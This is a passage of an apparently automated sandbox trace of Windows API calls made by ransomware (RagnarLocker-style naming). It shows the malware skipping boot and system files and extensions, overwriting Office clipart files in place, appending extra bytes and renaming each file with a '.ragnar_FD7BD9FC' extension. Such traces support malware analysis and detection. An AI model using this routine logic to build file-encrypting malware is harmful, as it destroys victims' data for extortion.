lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.248] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099180.WMF" | out: lpString1="J0099180.WMF") returned="J0099180.WMF" [0083.248] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned=".WMF" [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="autorun.inf") returned 1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="boot.ini") returned 1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="bootfont.bin") returned 1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="bootsect.bak") returned 1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="bootmgr") returned 1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="bootmgr.efi") returned 1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="bootmgfw.efi") returned 1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="desktop.ini") returned 1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="iconcache.db") returned 1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="ntldr") returned -1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="ntuser.dat") returned -1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="ntuser.dat.log") returned -1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="ntuser.ini") returned -1 [0083.248] lstrcmpiW (lpString1="J0099180.WMF", lpString2="thumbs.db") returned -1 [0083.248] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.248] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.248] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.248] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.248] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.248] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.248] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 0x20 [0083.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.249] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3394) returned 1 [0083.249] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.249] GetProcessHeap () returned 0x580000 [0083.249] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.249] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.250] VirtualAlloc (lpAddress=0x0, dwSize=0xd42, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.250] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.251] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd42, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd42, lpOverlapped=0x0) returned 1 [0083.251] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.251] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd42, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.251] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd42, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd42, lpOverlapped=0x0) returned 1 [0083.251] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd42, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.251] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.251] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.251] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.251] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.251] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.251] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.251] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.251] GetProcessHeap () returned 0x580000 [0083.251] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.251] CloseHandle (hObject=0xf4) returned 1 [0083.252] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" [0083.252] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.ragnar_FD7BD9FC" [0083.252] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.252] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0083.252] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.252] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099181.WMF" | out: lpString1="J0099181.WMF") returned="J0099181.WMF" [0083.252] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned=".WMF" [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="autorun.inf") returned 1 [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="boot.ini") returned 1 [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="bootfont.bin") returned 1 [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="bootsect.bak") returned 1 [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="bootmgr") returned 1 [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="bootmgr.efi") returned 1 [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="bootmgfw.efi") returned 1 [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="desktop.ini") returned 1 [0083.252] lstrcmpiW (lpString1="J0099181.WMF", lpString2="iconcache.db") returned 1 [0083.253] lstrcmpiW (lpString1="J0099181.WMF", lpString2="ntldr") returned -1 [0083.253] lstrcmpiW (lpString1="J0099181.WMF", lpString2="ntuser.dat") returned -1 [0083.253] lstrcmpiW (lpString1="J0099181.WMF", lpString2="ntuser.dat.log") returned -1 [0083.253] lstrcmpiW (lpString1="J0099181.WMF", lpString2="ntuser.ini") returned -1 [0083.253] lstrcmpiW (lpString1="J0099181.WMF", lpString2="thumbs.db") returned -1 [0083.253] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.253] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.253] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.253] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.253] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.253] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.253] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 0x20 [0083.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.253] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1198) returned 1 [0083.253] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.253] GetProcessHeap () returned 0x580000 [0083.253] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.253] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.256] VirtualAlloc (lpAddress=0x0, dwSize=0x4ae, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.256] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4ae, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4ae, lpOverlapped=0x0) returned 1 [0083.256] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.257] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.257] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4ae, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4ae, lpOverlapped=0x0) returned 1 [0083.257] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.257] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.257] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.257] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.257] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.257] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.257] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.257] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.257] GetProcessHeap () returned 0x580000 [0083.257] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.257] CloseHandle (hObject=0xf4) returned 1 [0083.257] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" [0083.257] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.ragnar_FD7BD9FC" [0083.258] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.258] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1 [0083.258] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.258] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099182.WMF" | out: lpString1="J0099182.WMF") returned="J0099182.WMF" [0083.258] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned=".WMF" [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="autorun.inf") returned 1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="boot.ini") returned 1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="bootfont.bin") returned 1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="bootsect.bak") returned 1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="bootmgr") returned 1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="bootmgr.efi") returned 1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="bootmgfw.efi") returned 1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="desktop.ini") returned 1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="iconcache.db") returned 1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="ntldr") returned -1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="ntuser.dat") returned -1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="ntuser.dat.log") returned -1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="ntuser.ini") returned -1 [0083.258] lstrcmpiW (lpString1="J0099182.WMF", lpString2="thumbs.db") returned -1 [0083.259] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.259] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.259] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.259] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.259] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.259] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.259] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf")) returned 0x20 [0083.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.259] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3840) returned 1 [0083.259] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xef7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.259] GetProcessHeap () returned 0x580000 [0083.259] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.259] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.261] VirtualAlloc (lpAddress=0x0, dwSize=0xf00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.262] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.262] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.262] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf00, lpOverlapped=0x0) returned 1 [0083.262] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.262] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf00, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.262] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf00, lpOverlapped=0x0) returned 1 [0083.262] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.262] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.262] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.262] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.262] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.262] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.263] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.263] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.263] GetProcessHeap () returned 0x580000 [0083.263] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.263] CloseHandle (hObject=0xf4) returned 1 [0083.263] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" [0083.263] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.ragnar_FD7BD9FC" [0083.263] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099182.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099182.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.263] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1 [0083.264] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.264] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099183.WMF" | out: lpString1="J0099183.WMF") returned="J0099183.WMF" [0083.264] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned=".WMF" [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="autorun.inf") returned 1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="boot.ini") returned 1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="bootfont.bin") returned 1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="bootsect.bak") returned 1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="bootmgr") returned 1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="bootmgr.efi") returned 1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="bootmgfw.efi") returned 1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="desktop.ini") 